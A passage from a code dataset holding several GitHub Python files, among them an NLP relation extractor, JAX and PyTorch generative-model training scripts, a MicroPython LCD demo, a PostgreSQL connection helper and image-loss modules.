edges + 1\n\n return pow(product, (1 / edges))\n\n def find_cliques(potential_clique=[], remaining_nodes=[], skip_nodes=[], depth=0):\n if len(remaining_nodes) == 0 and len(skip_nodes) == 0:\n print('This is a clique: ', potential_clique)\n\n cliqueWeight = clique_weight(potential_clique)\n print('clique weight: ', cliqueWeight)\n\n if cliqueWeight > 0.40:\n cliques.append(potential_clique)\n\n return 1\n\n found_cliques = 0\n for node in remaining_nodes:\n # Try adding the node to the current potential_clique to see if we can make it work.\n new_potential_clique = potential_clique + [node]\n new_remaining_nodes = [n for n in remaining_nodes if n in node.neighbors]\n new_skip_list = [n for n in skip_nodes if n in node.neighbors]\n found_cliques += find_cliques(new_potential_clique, new_remaining_nodes, new_skip_list, depth + 1)\n\n # We're done considering this node. If there was a way to form a clique with it, we\n # already discovered its maximal clique in the recursive call above. So, go ahead\n # and remove it from the list of remaining nodes and add it to the skip list.\n remaining_nodes.remove(node)\n skip_nodes.append(node)\n\n return found_cliques\n\n total_cliques = find_cliques(remaining_nodes=nodesList)\n print('Total cliques found:', total_cliques)\n return cliques\n\ndef buildEntityGraph(doc, text):\n nodes = {}\n for ent in doc.ents:\n n = Node(ent)\n nodes[ent.text] = n\n\n for ent1 in nodes:\n n = nodes[ent1]\n for ent2 in doc.ents:\n if ent1 != ent2.text:\n print(ent1, ent2, sep=\" -> \")\n relation = nre(text, ent1, ent2.text)\n print()\n\n n.neighbors.append(nodes[ent2.text])\n n.addWeightedEdge(nodes[ent2.text], relation[0], relation[1])\n \n return nodes\n\ndef printGraph(nodes):\n for key, val in nodes.items():\n print('Node:', key)\n for neighbor in val.neighbors:\n print('Neighbor:', neighbor)\n for edge in val.weightedEdges:\n print('Edge:', edge.src, edge.dst, edge.relation, edge.weight)\n\ndef addIgnoreDuplicate(template, templateList):\n if template not in templateList: \n templateList.append(template)\n\ndef tryAddWorkTemplate(edge, workTemplates):\n template = Work()\n nonNull = False\n if edge.relation == 'work location':\n if edge.src.entity.label_ == 'PERSON':\n template.person = edge.src.name\n nonNull = True\n if edge.dst.entity.label_ == 'ORG':\n template.org = edge.dst.name\n nonNull = True\n if edge.dst.entity.label_ == 'GPE':\n template.location = edge.dst.name\n nonNull = True\n if nonNull:\n addIgnoreDuplicate(template, workTemplates)\n \n if edge.relation in ['field of work', 'position held']:\n if edge.src.entity.label_ == 'PERSON':\n template.person = edge.src.name\n template.title = edge.dst.name\n if nonNull:\n addIgnoreDuplicate(template, workTemplates)\n\n if edge.relation == 'head of government':\n if edge.src.entity.label_ == 'PERSON':\n template.person = edge.src.name\n template.title = 'head of government'\n nonNull = True\n if edge.dst.entity.label_ == 'ORG':\n template.org = edge.dst.name\n nonNull = True\n if edge.dst.entity.label_ == 'GPE':\n template.location = edge.dst.name\n nonNull = True\n if nonNull:\n addIgnoreDuplicate(template, workTemplates)\n\n if edge.relation == 'owned by':\n if edge.dst.entity.label_ == 'PERSON':\n template.person = edge.dst.name\n template.title = 'owner'\n nonNull = True\n if edge.src.entity.label_ == 'ORG':\n template.org = edge.src.name\n nonNull = True\n if nonNull:\n addIgnoreDuplicate(template, workTemplates)\n\n if edge.relation == 'architect':\n if edge.src.entity.label_ == 'PERSON':\n template.person = edge.src.name\n template.title = 'architect'\n nonNull = True\n if nonNull:\n addIgnoreDuplicate(template, workTemplates)\n \n if edge.relation == 'director':\n if edge.src.entity.label_ == 'PERSON':\n template.person = edge.src.name\n template.title = 'director'\n nonNull = True\n if nonNull:\n addIgnoreDuplicate(template, workTemplates)\n \n # inferring that the place of residence is the same as work location\n if edge.relation == 'residence':\n if edge.src.entity.label_ == 'PERSON':\n prevTemplates = [t for t in workTemplates if t.person == edge.src.name and not t.location]\n for prevTemp in prevTemplates:\n prevTemp.location = edge.dst.name\n\ndef tryAddPartTemplate(edge, partTemplates):\n template = Part()\n if edge.relation == 'contains administrative territorial entity':\n if edge.src.entity.label_ in ['FAC', 'GPE', 'LOC'] and edge.dst.entity.label_ in ['FAC', 'GPE', 'LOC']:\n template.whole = edge.src.name\n template.part = edge.dst.name\n addIgnoreDuplicate(template, partTemplates)\n\n if edge.relation == 'has part':\n if edge.src.entity.label_ in ['FAC', 'GPE', 'LOC'] and edge.dst.entity.label_ in ['FAC', 'GPE', 'LOC']:\n template.whole = edge.src.name\n template.part = edge.dst.name\n addIgnoreDuplicate(template, partTemplates)\n\n if edge.relation == 'located on terrain feature':\n if edge.src.entity.label_ in ['FAC', 'GPE', 'LOC'] and edge.dst.entity.label_ in ['FAC', 'GPE', 'LOC']:\n template.part = edge.src.name\n template.whole = edge.dst.name\n addIgnoreDuplicate(template, partTemplates)\n\n if edge.relation == 'country':\n if edge.src.entity.label_ in ['FAC', 'GPE', 'LOC'] and edge.dst.entity.label_ in ['FAC', 'GPE', 'LOC']:\n template.part = edge.src.name\n template.whole = edge.dst.name\n addIgnoreDuplicate(template, partTemplates)\n\n if edge.relation == 'location':\n if edge.src.entity.label_ in ['FAC', 'GPE', 'LOC'] and edge.dst.entity.label_ in ['FAC', 'GPE', 'LOC']:\n template.part = edge.src.name\n template.whole = edge.dst.name\n addIgnoreDuplicate(template, partTemplates)\n\n if edge.relation == 'located in the administrative territorial entity':\n if edge.src.entity.label_ in ['FAC', 'GPE', 'LOC'] and edge.dst.entity.label_ in ['FAC', 'GPE', 'LOC']:\n template.part = edge.src.name\n template.whole = edge.dst.name\n addIgnoreDuplicate(template, partTemplates)\n\n if edge.relation == 'part of':\n if edge.src.entity.label_ in ['FAC', 'GPE', 'LOC'] and edge.dst.entity.label_ in ['FAC', 'GPE', 'LOC']:\n template.part = edge.src.name\n template.whole = edge.dst.name\n addIgnoreDuplicate(template, partTemplates)\n\n if edge.relation == 'located in or next to body of water':\n if edge.src.entity.label_ in ['FAC', 'GPE', 'LOC'] and edge.dst.entity.label_ in ['FAC', 'GPE', 'LOC']:\n template.part = edge.src.name\n template.whole = edge.dst.name\n addIgnoreDuplicate(template, partTemplates)\n\n if edge.relation == 'member of':\n if edge.src.entity.label_ in ['FAC', 'GPE', 'LOC'] and edge.dst.entity.label_ in ['FAC', 'GPE', 'LOC']:\n template.part = edge.src.name\n template.whole = edge.dst.name\n addIgnoreDuplicate(template, partTemplates)\n\n\n\ndef main(argv):\n if len(sys.argv) < 2:\n print(\"pass filename\")\n sys.exit(2)\n print(\"loading \" + argv[0])\n\n texts = loadFile(argv[0])\n # debug\n # texts = ['Rami Eid is studying at Stony Brook University in New York.',\n # 'Blounts Creek is a small unincorporated rural community in Beaufort County, North Carolina, United States, near a creek with the same name.']\n\n # task 1\n #task1(texts[0])\n\n nlp = spacy.load(\"en_core_web_sm\")\n for idx, doc in enumerate(nlp.pipe(texts, disable=[\"tagger\", \"parser\"])):\n print(\"Named Entities:\", [(ent.text, ent.label_) for ent in doc.ents])\n\n # Represent entity graph as dictionary: \n nodes = buildEntityGraph(doc, texts[idx])\n\n # verifying graph\n print(\"Graph:\")\n printGraph(nodes)\n\n # Find maximal cliques and clique weights\n print(\"BRON-KERBOSCH\")\n sys.setrecursionlimit(2000)\n cliques = bron_kerbosch(list(nodes.values()))\n print(\"cliques:\", cliques)\n\n # if the clique contains certain types of relations, then we fill them into the complex relation / template\n workTemplates = []\n partTemplates = []\n\n for clique in cliques:\n for node in clique:\n for edge in node.weightedEdges:\n if edge.dst in clique:\n tryAddWorkTemplate(edge, workTemplates)\n tryAddPartTemplate(edge, partTemplates)\n #tryAddBuyTemplate(edge, partTemplates)\n\n # verifying template filling\n for work in workTemplates:\n print('Work:', work.person, work.org, work.title, work.location, sep=', ')\n\n for part in partTemplates:\n print(part.part, part.whole,sep=' part of ')\n\n # writing templates to json output\n out = []\n for template in workTemplates:\n arguments = {}\n arguments['1'] = template.person or \"\"\n arguments['2'] = template.org or \"\"\n arguments['3'] = template.title or \"\"\n arguments['4'] = template.location or \"\"\n \n extraction = Extraction('WORK', [token.text for token in doc], arguments)\n output = Output(argv[0], extraction)\n out.append(output)\n\n for template in partTemplates:\n arguments = {}\n arguments['1'] = template.part or \"\"\n arguments['2'] = template.whole or \"\"\n \n extraction = Extraction('PART', [token.text for token in doc], arguments)\n output = Output(argv[0], extraction)\n out.append(output)\n\n # Write new relations to data file\n jsons.suppress_warnings()\n for output in out:\n with open(str(argv[0])[:-4] + '.json', 'a') as the_file:\n the_file.write(json.dumps(jsons.dump(output)) + '\\n')\n\n\nif __name__ == '__main__':\n main(sys.argv[1:])","repo_name":"Ed-Hong/nlp-ie","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"27707885425","text":"\"\"\"Train and evaluate a generative model on image datasets\n\"\"\"\nimport os\nimport flax\nimport jax\nimport jax.lax as lax\nimport jax.numpy as jnp\nimport jax.random as random\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport optax\nfrom absl import app, flags\nfrom flax.training import checkpoints\nfrom jax import lax\nfrom ml_collections.config_flags import config_flags\nfrom PIL import Image\n\nimport wandb\nfrom jax_src.data.datasets import get_dataset\nfrom jax_src.frax.fractalvae import *\nfrom jax_src.frax.modules import *\nfrom utils.plot_utils import *\nfrom utils.train_utils import *\nfrom utils.eval_utils import *\nfrom jax import value_and_grad\n\nFLAGS = flags.FLAGS\nconfig_flags.DEFINE_config_file(\"cfg\", \"config/default_cifar.py\", 'training config file', lock_config=True)\n\ndef train_epoch(epoch, config, state, optimizer, data, preprocess_fn, opt_state):\n metrics = {}\n \n def train_step(x_in, x_out, params, rng, opt_state):\n def loss_fn(params, x_in, x_out, rng):\n metrics, reconstructions, stats = state.apply_fn({'params': params}, x_in, x_out, rng, return_sample=True)\n return metrics['elbo'], (metrics, reconstructions, stats)\n\n objective_grad_fn = value_and_grad(loss_fn, argnums=0, has_aux=True)\n (_, (metrics, reconstructions, stats)), grad = objective_grad_fn(params, x_in, x_out, rng)\n\n grad = lax.pmean(grad, axis_name='batch')\n grad = jax.tree_map(lambda x: jnp.nan_to_num(x, nan=0), grad)\n grad, grad_norm = clip_grad_norm(config, grad)\n updates, opt_state = optimizer.update(grad, opt_state, params=params)\n new_params = optax.apply_updates(params, updates)\n ema_params = jax.tree_util.tree_multimap(lambda new, old: (1 - config.ema_rate) * new + config.ema_rate * old, new_params, params)\n metrics['grad_norm'] = grad_norm\n\n return new_params, ema_params, opt_state, metrics, stats, reconstructions\n\n p_train_step = train_step\n params = state.train_params\n opt_state = state.opt_state\n\n p_train_step = jax.pmap(train_step, axis_name='batch', in_axes=(0, 0, 0, None, 0)) \n params = flax.jax_utils.replicate(state.train_params)\n opt_state = flax.jax_utils.replicate(state.opt_state)\n\n rng = jax.random.PRNGKey(config.seed)\n\n\n forward_fn, sample_fn = state.apply_fn, state.sample_fn\n \n step = state.step\n\n for _, batch_data in enumerate(data):\n x_in, x_out = preprocess_fn(config, batch_data)\n rng, iter_rng = jax.random.split(rng)\n params, ema_params, opt_state, metrics, stats, reconstructions = p_train_step(x_in, x_out, params, iter_rng, opt_state)\n step += 1\n \n if step % config.log_steps == 0:\n single_params = flax.jax_utils.unreplicate(params)\n single_replica_x_out = x_out[0]\n elbo, rate, distortion, forward_time = metrics['elbo'], metrics['kl'], metrics['recloss'], metrics['forward_time']\n\n grad_norm = np.mean(metrics['grad_norm'])\n forward_time = jnp.mean(metrics['forward_time'])\n elbo, rate, distortion = jax.device_get(jnp.mean(elbo)), jax.device_get(jnp.mean(rate)), jax.device_get(jnp.mean(distortion))\n\n print(f\"batch step {step}: ELBO {elbo}, rate: {rate}, distortion: {distortion}, forward (s): {forward_time}, ||grad||_2: {grad_norm}\")\n metrics = {\"ELBO\": elbo, \"rate\": rate, \"distortion\": distortion, \"forward (s)\": jax.device_get(forward_time), '||grad||_2': jax.device_get(grad_norm)}\n wandb.log(metrics, step=step)\n\n if step % config.plot_steps == 0:\n rng, sample_rng = random.split(rng)\n samples = sample_fn({'params': single_params}, config.n_samples, sample_rng)\n # norm_cond = False if config.dataset != 'ffhq256' else True\n norm_cond = False # TODO: this doesn't seem to ever be True, double check this \n log_plots(config, norm_two_to_eight_bit(single_replica_x_out), reconstructions[0], samples, name=f'dec{config.dec_blocks} ({state.run_id})', normalize=norm_cond)\n if config.model == \"FractalVAE\":\n\n mul, add = stats['mul'], stats['add']\n\n for c in range(mul.shape[-1]):\n mul_, add_ = jnp.mean(mul[..., c], axis=(0,1)), jnp.mean(add[..., c], axis=(0,1)) # 16, 7\n columns = [f\"s{i}\" for i in range(mul_.shape[-1])]\n mul_data = jax.device_get(mul_)\n add_data = jax.device_get(add_)\n mul_data = [mul_data[k] for k in range(mul_data.shape[0])]\n add_data = [add_data[k] for k in range(add_data.shape[0])]\n\n mul_table = wandb.Table(data=mul_data, columns=columns)\n add_table = wandb.Table(data=add_data, columns=columns)\n\n wandb.log({'mul histograms': mul_table}, step=step)\n wandb.log({'add histograms': add_table}, step=step)\n\n if step == 0 or step % config.ckpt_steps == 0:\n # Only `params` is replicated for distributed training\n save_params = params\n save_opt_state = opt_state\n save_params = flax.jax_utils.unreplicate(params)\n save_ema_params = flax.jax_utils.unreplicate(ema_params)\n save_dict = {\n 'opt_state': save_opt_state,\n 'train_params': save_params,\n 'ema_params': save_ema_params,\n 'key': rng,\n 'metrics': metrics,\n 'step': step}\n\n state = state.replace(**save_dict)\n checkpoints.save_checkpoint(\n config.checkpoint_dir, jax.device_get(state), step, \n overwrite=True, keep_every_n_steps=100000\n )\n print(f'run_id {state.run_id} checkpointed at epoch {epoch}: step {step}')\n\n if step > config.max_steps:\n return state\n\n # last save, then return control \n params = flax.jax_utils.unreplicate(params)\n opt_state = flax.jax_utils.unreplicate(opt_state)\n ema_params = flax.jax_utils.unreplicate(ema_params)\n save_dict = {\n 'opt_state':opt_state,\n 'train_params': params,\n 'ema_params': ema_params,\n 'key': rng,\n 'metrics': metrics,\n 'step': step}\n state = state.replace(**save_dict)\n return state\n\n\ndef main(argv):\n config = FLAGS.cfg\n full_exp_name = f\"{config.dataset}-{config.exp_name}\"\n config.exp_name = full_exp_name\n config.checkpoint_dir = os.path.join(config.checkpoint_dir, config.dataset, config.model, str(config.beta)) \n os.makedirs(config.checkpoint_dir, exist_ok=True)\n \n trainloader, valloader, testloader, preprocess_fn = get_dataset(config.bs, \n config.bs, config.dataset, config.datadir, 0.0, config.n_devices, config.subset_size,\n )\n print(f'trainloader {len(trainloader)} valloader {len(valloader)} testloader {len(testloader)}')\n config, state, optimizer, reloaded = initialize_model(config, config.model, config.model, wandb_dir=config.wandb_dir)\n print(f'experiment {full_exp_name} logging to {config.checkpoint_dir} run {config.run_id} wandb {config.wandb_dir}')\n\n os.environ['WANDB_SILENT'] = \"true\"\n resuming = reloaded\n print(f'wandb_dir: {config.wandb_dir}')\n state, config = maybe_restart_wandb(resuming, state, config)\n\n val_rng = jax.random.PRNGKey(config.seed)\n _, n_dec_blocks = parse_layer_string(config.model, config.dec_blocks)\n\n print('number devices:', config.n_devices, 'bs', config.bs)\n print(f'working directory: {config.checkpoint_dir}')\n\n for epoch in range(config.epochs):\n print(f'.....................Epoch: {epoch}/{config.epochs}....................')\n train_ds = iter(trainloader)\n if config.n_devices > 1: trainloader.sampler.set_epoch(epoch)\n state = train_epoch(epoch, config, state, optimizer, train_ds, preprocess_fn, state.opt_state)\n \n if epoch % config.eval_epochs == 0:\n if config.n_devices > 1: \n valloader.sampler.set_epoch(epoch)\n testloader.sampler.set_epoch(epoch)\n\n metrics = evaluate(config, state, testloader, val_rng, preprocess_fn, n_dec_blocks)\n wandb.log(metrics)\n \n metrics = evaluate(config, state, testloader, val_rng, preprocess_fn, n_dec_blocks)\n wandb.log(metrics)\n\nif __name__ == '__main__':\n app.run(main)\n","repo_name":"ermongroup/self-similarity-prior","sub_path":"scripts/train_generative.py","file_name":"train_generative.py","file_ext":"py","file_size_in_byte":8588,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"23"} +{"seq_id":"1118704083","text":"import st7920\nfrom machine import Pin, SPI\nfrom lcd_v_minus import *\n\nstartV()\nspi = SPI(2, baudrate=100000) #, polarity=1, phase=1, sck=machine.Pin(18), mosi=machine.Pin(23))\n\nscreen = st7920.Screen(spi=spi)\n\ndef clear():\n screen.clear()\n screen.redraw()\n\ndef draw():\n\n # write zeroes to the buffer\n screen.clear()\n\n # draw some points, lines, rectangles, filled rectangles in the buffer\n screen.plot(5, 5) \n screen.line(10, 10, 15, 15)\n screen.rect(20, 20, 25, 25)\n screen.fill_rect(30, 30, 40, 40)\n screen.fill_rect(32, 32, 38, 38, False)\n\n # send the buffer to the display\n screen.redraw()\n\ndef run():\n clear()\n while 1:\n draw()\n\nif __name__ == \"__main__\":\n run()\n \n","repo_name":"fedor2018/my_upython","sub_path":"blackpill/current/12864.py","file_name":"12864.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"43768522442","text":"\"\"\"\nThis file contains the main run for the proposed VAE-GAN model in the paper:\nEstimation of Orientation and Camera Parameters from Cryo-Electron Microscopy Images with Variational Autoencoders and Generative Adversarial Networks\n\"\"\"\nfrom torch.optim import Adam\nfrom torch.optim.lr_scheduler import MultiStepLR\nfrom vaegancryoem.script.training.train_1.train_definition import training_loop\nfrom vaegancryoem.script.data.data_loader import get_data_loader\nfrom vaegancryoem.script.models.vaegan import VAEGAN\nimport torch\nimport numpy\n\n# Set Anomaly Detection to True for Reproducibility\n# --------------------------------------------------------------------\n\ntorch.autograd.set_detect_anomaly(True)\n\n# Set Seed for Reproducibility\n# ---------------------------------------------------------------------\n\n# seed = random.randint(1, 10000) # use if you want new results\nseed = 999\nnumpy.random.seed(seed)\ntorch.manual_seed(seed)\ntorch.cuda.manual_seed(seed)\nprint(f\"Random Seed: {seed}\")\n\n# Load Data\n# ---------------------------------------------------------------------\n\n# Set Device\ndevice = 'cpu'\nif torch.cuda.is_available():\n device = 'gpu'\n\n# Load Data\n# ---------------------------------------------------------------------\n\n# TODO: Pick from Arguments.\nfile_path = \"/vaegancryoem/cryoem/total_processed_data/train.npy\"\ninput_image_width = 40\ninput_channels = 1\nbatch_size = 64\nshuffle = False\nnum_workers = 0\n\ndata_loader = get_data_loader(\n file_path,\n input_image_width,\n input_channels,\n batch_size,\n shuffle,\n num_workers\n)\n\n# Create Model\n# ---------------------------------------------------------------------\n\n# TODO: Pick from Arguments.\nlatent_space_dimensions = 12\n\nmodel = VAEGAN(\n input_channels,\n input_image_width,\n latent_space_dimensions\n)\n\n# Define Optimisers and Loss\n# ---------------------------------------------------------------------\n\n# TODO: Pick from Arguments.\nencoder_optimiser_learning_rate = 0.00000000001\ndecoder_optimiser_learning_rate = 0.001\ndiscriminator_optimiser_learning_rate = 0.0001\n\n\ndef get_optimiser(parameters, learning_rate, beta1=0.9, beta2=0.999):\n # Define ADAM Optimiser\n optimizer = Adam(\n params=parameters,\n lr=learning_rate,\n betas=(beta1, beta2)\n )\n\n # Define Scheduler\n lr = MultiStepLR(\n optimizer,\n milestones=[2],\n gamma=1\n )\n return optimizer, lr\n\n\noptimizer_encoder, scheduler_encoder = get_optimiser(\n model.encoder.parameters(),\n learning_rate=encoder_optimiser_learning_rate\n)\n\noptimizer_decoder, scheduler_decoder = get_optimiser(\n model.decoder.parameters(),\n learning_rate=decoder_optimiser_learning_rate\n)\n\noptimizer_discriminator, scheduler_decoder = get_optimiser(\n model.discriminator.parameters(),\n learning_rate=discriminator_optimiser_learning_rate\n)\n\n# Training Loop\n# ---------------------------------------------------------------------\n\n# TODO: Pick from Arguments.\nnum_epochs = 4\nlambda_regularisation_loss = 0.1\nlambda_cone_loss = 1\nlambda_gan_loss = 0.1\noptimizer_list = [optimizer_encoder, optimizer_decoder, optimizer_discriminator]\n\ntraining_loop(\n data_loader,\n model,\n optimizer_list,\n device,\n num_epochs=num_epochs,\n lambda_regularisation_loss=lambda_regularisation_loss,\n lambda_cone_loss=lambda_cone_loss,\n lambda_gan_loss=lambda_gan_loss\n)\n\n# TODO: Save the trained model.\nmodel_save_path = 'model_state_dictionary'\ntorch.save(model.state_dict(), model_save_path)\n","repo_name":"sshefs02/vaegancryoem","sub_path":"script/training/train_1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3501,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"17023404398","text":"def solution():\n \"\"\"\n big num A + B\n Step1. Reverse input number\n Step2. Fill '0'\n Step3. Calculator numbers\n Step4. add cherrysum\n \"\"\"\n num = input()\n arr = num.split()\n arr[0] = arr[0][:None:-1]\n arr[1] = arr[1][:None:-1]\n answer = ''\n if len(arr[0]) > len(arr[1]):\n length = len(arr[0])\n for i in range(length-len(arr[1])):\n arr[1] += '0'\n elif len(arr[0]) < len(arr[1]):\n length = len(arr[1])\n for i in range(length-len(arr[0])):\n arr[0] += '0'\n else:\n length = len(arr[0])\n cheerysum = 0\n for i in range(length):\n sum_ = int(arr[0][i]) + int(arr[1][i]) + cheerysum\n cheerysum = sum_ // 10\n answer += str(sum_ % 10)\n \n if cheerysum == 1:\n answer += '1'\n\n return answer[:None:-1]\nif __name__ == \"__main__\":\n print(solution())","repo_name":"DongJunHan/algorithm","sub_path":"baekjoon/10757.py","file_name":"10757.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"33490139873","text":"from model import ResultDto\nfrom config import config\nfrom extra.logging import Logger\nfrom psycopg2.extras import DictCursor, DictRow\nimport psycopg2\n\nDEFAULT_TIMEOUT = 30\n\nclass Connection:\n def __init__(self, db: str, user: str, conn: any = None):\n self.db = db\n self.user = user\n self.connected = False\n self.succeeded = False\n self.connection = conn\n\n def execute_command(self, sql: str):\n result = ResultDto()\n if not self.connected:\n result.statusmessage = 'CONNECTION ERROR'\n result.errors.append('Connection request failed. Cannot execute command.')\n return result\n try:\n self.connection.cursor_factory = DictCursor\n cur = self.connection.cursor()\n cur.execute(sql)\n self.connection.commit()\n try:\n result.rowcount = cur.rowcount\n result.statusmessage = cur.statusmessage\n raw = cur.fetchall()\n result.data = self._compress(raw)\n except (psycopg2.ProgrammingError) as error:\n pass\n result.success = True\n except (Exception, psycopg2.DatabaseError) as error:\n Logger.error(error)\n result.errors.append(error)\n return result\n \n def close(self):\n self.connected = False\n try:\n self.connection.close()\n except:\n pass\n\n def _compress(self, data: any):\n if isinstance(data, DictRow):\n return data\n if isinstance(data, list):\n if len(data) == 0:\n return None\n elif len(data) == 1:\n return self._compress(data[0])\n else:\n return list(map(self._compress, data))\n elif isinstance(data, tuple):\n if len(data) == 1:\n return data[0]\n return data\n\ndef connect(**params) -> Connection:\n if params is None or len(params) == 0:\n params = _default_params()\n params['connect_timeout'] = DEFAULT_TIMEOUT\n connection = Connection(params['database'], params['user'])\n try:\n conn = psycopg2.connect(**params)\n connection.connection = conn\n connection.connected = True\n connection.succeeded = True\n except Exception as error:\n Logger.error(error)\n return connection\n\ndef _default_params():\n params = config('dbconfig')\n return params","repo_name":"johnsimmons2/productivity-app","sub_path":"api/database/repo/dbconnection.py","file_name":"dbconnection.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"20111115600","text":"import torch.nn as nn\nimport torch\nimport os\nclass StructTensor(nn.Module):\n def __init__(self,raid=9):\n super(StructTensor, self).__init__()\n self.pad = nn.ZeroPad2d(1)\n self.avg_x = nn.AvgPool2d((3, 1), 1, (1, 0))\n self.avg_y = nn.AvgPool2d((1, 3), 1, (0, 1))\n self.blur = nn.AvgPool2d(raid,1,raid//2)\n self.relu = nn.ReLU()\n def sobel_xy(self,x):\n b,c,h,w = x.size()\n x = x.mean(1).view(b,1,h,w)\n\n lx = x[:,:,1:-1,0:-2]\n rx = x[:,:,1:-1,2:]\n\n tx = x[:,:,0:-2,1:-1]\n bx = x[:,:,2: ,1:-1]\n\n rlx = rx - lx\n btx = bx - tx\n output_x = rlx + self.avg_x(rlx)*3\n output_y = btx + self.avg_y(btx)*3\n\n return output_x,output_y\n\n def forward(self, x):\n x_ = self.pad(x)\n\n sx,sy = self.sobel_xy(x_)\n\n xx = self.blur(sx*sx)\n yy = self.blur(sy*sy)\n xy = self.blur(sx*sy)\n\n b = -(xx + yy)\n c = xx * yy - xy * xy\n\n deta = b * b - 4 * c\n deta = self.relu(deta)\n deta = torch.sqrt(deta)\n l1 = (-b + deta) / 2\n\n x_d = xy\n y_d = xx - l1\n\n l_xy = (x_d ** 2 + y_d ** 2+ 1e-8) ** 0.5 + 1e-8\n\n direx = (x_d / l_xy )\n direy = (y_d / l_xy )\n\n output = torch.cat([direx,direy,direx],1)\n\n return output\n\nclass StructTensorLoss(nn.Module):\n def __init__(self,raid = 9,\n loss = nn.MSELoss()):\n super(StructTensorLoss, self).__init__()\n self.st = StructTensor(raid)\n self.loss = loss\n\n def forward(self, input, tar):\n inputFeatures = self.st(input)\n tarFeatures = self.st(tar)\n e = self.loss(inputFeatures, tarFeatures.detach())\n\n return e\n\n\nclass GramMatrix(nn.Module):\n def __init__(self):\n super(GramMatrix, self).__init__()\n self.down = nn.MaxPool2d(4,4)\n self.pad = nn.ZeroPad2d(32)\n\n def forward(self, input):\n a, b, c, d = input.size()\n if c<32 or d<32:\n input = self.pad(input)\n input = self.down(input)\n a, b, c, d = input.size() # a=batch size(=1)\n features = input.view(a * b, c * d) # resise F_XL into \\hat F_XL\n G = torch.mm(features, features.t()) # compute the gram product\n return G.div(a * b * c * d)\n\nclass GramVGGLoss(nn.Module):\n def __init__(self,layersName = \"conv1_1,conv2_1\",\n loss = nn.MSELoss(),gpu_id_list = [0]):\n super(GramVGGLoss, self).__init__()\n self.layerName = layersName\n self.vgg = VGG19Modules(layersName)\n self.loss = loss\n torch_home = os.path.expanduser(os.getenv('TORCH_HOME', '~/.torch'))\n model_dir = os.getenv('TORCH_MODEL_ZOO', os.path.join(torch_home, 'models'))\n cached_file = os.path.join(model_dir, 'vgg_cpu.pth')\n self.load_state_dict(torch.load(cached_file))\n self.gpu_id_list = gpu_id_list\n self.gram = GramMatrix()\n\n def forward(self, input, tar):\n inputFeatures = self.vgg(input)\n tarFeatures = self.vgg(tar)\n\n err_vgg = 0\n length = inputFeatures.__len__()\n for i in range(length):\n e = self.loss(self.gram(inputFeatures[i]), self.gram(tarFeatures[i]).detach())\n err_vgg += e\n return err_vgg\n\nclass VGGModel(nn.Module):\n def __init__(self,layersName = \"conv1_1,conv2_1\",loss = nn.MSELoss(),\n gpu_id_list = None):\n super(VGGModel, self).__init__()\n self.layerName = layersName\n self.vgg = VGG19Modules(layersName)\n self.loss = loss\n #if gpu_id_list is not None and len(gpu_id_list)>1:\n # self.t_paralle=PF.T_parallel(gpu_id_list)\n #else:\n # self.t_paralle = None\n torch_home = os.path.expanduser(os.getenv('TORCH_HOME', '~/.torch'))\n model_dir = os.getenv('TORCH_MODEL_ZOO', os.path.join(torch_home, 'models'))\n cached_file = os.path.join(model_dir, 'vgg_cpu.pth')\n self.load_state_dict(torch.load(cached_file))\n\n\n def forward(self, input):\n #if self.t_paralle is not None:\n # return self.t_paralle(self.vgg,input)\n #else:\n return self.vgg(input)\n","repo_name":"codybai/simple","sub_path":"Sugar/Loss/LossLib/StructTensor_loss.py","file_name":"StructTensor_loss.py","file_ext":"py","file_size_in_byte":4188,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"23"} +{"seq_id":"15264149952","text":"import json\nimport pandas as pd\nfrom jinja2 import Environment, FileSystemLoader\nimport GetFirewallObjectBYSubnet\n\nenv = Environment(loader=FileSystemLoader('template'))\ntemplate = env.get_template('result_template.html')\n\nadom_list =[]\nobject_check_list =[]\n\nf = open(\"demo2.txt\", \"r\")\nresult = json.loads(f.read())\n\n\nfor key in result:\n adom_list.append(key)\n object_check_list.append(result[key])\n\ndf = pd.DataFrame({'ADOM': adom_list,\n 'Status': object_check_list\n})\n\n\nhtml = template.render(\n title_text='Resolute FP',\n text='Object Checker',\n result_text='Result:',\n object_result=df\n)\n\nwith open('html_report_jinja.html', 'w') as f:\n f.write(html)\n\n\n#df.to_excel(writer, sheet_name='Object Check1', index=False)\n#writer.save()\n\ndf.to_html\n","repo_name":"guilhermebrat/FMG-API","sub_path":"report-html.py","file_name":"report-html.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"23"} +{"seq_id":"34944784416","text":"#!/usr/bin/python\n\nimport os.path\t\t\t\t\t\t\t#Importing OS functions\nfrom PIL import Image \t\t\t\t\t#Importing image processing module \n\nclass PictureProcessing():\n\t\"\"\"Image processing class\"\"\"\n\tdef __init__(self):\n\t\tself.path = None\t\t\t#Path to current image\n\t\tself.bitmapped = False \t\t#Bitmapped status\n\t\tself.bitmap_path = None\t\t#Path to bitmapped image\n\t\tself.output_path = None\t\t#Path to output file\n\t\tself.bitmap_opt = {}\t\t#Bitmap options dictionaty\n\t\tself.trace_opt = {}\t\t\t#Trace options dictionaty\n\tdef convert_to(self, extension):\n\t\t\"\"\"Converting image\"\"\"\n\t\timg = Image.open(self.path)\t\t\t#Opening current image\n\t\tif extension != None:\t\t\t\t#Cheking for extension existence\n\t\t\tnew_image = self.path.split('.')[0] + '.' + extension #Parsing image name and adding new format\n\t\t\tself.path = new_image\t\n\t\telse:\n\t\t\tnew_image = self.path\t\t\t\t#Saving case\n\t\timg.save(new_image)\t\t\t\t\t\t#Converting image to new format\n\tdef save_image(self, new_name, 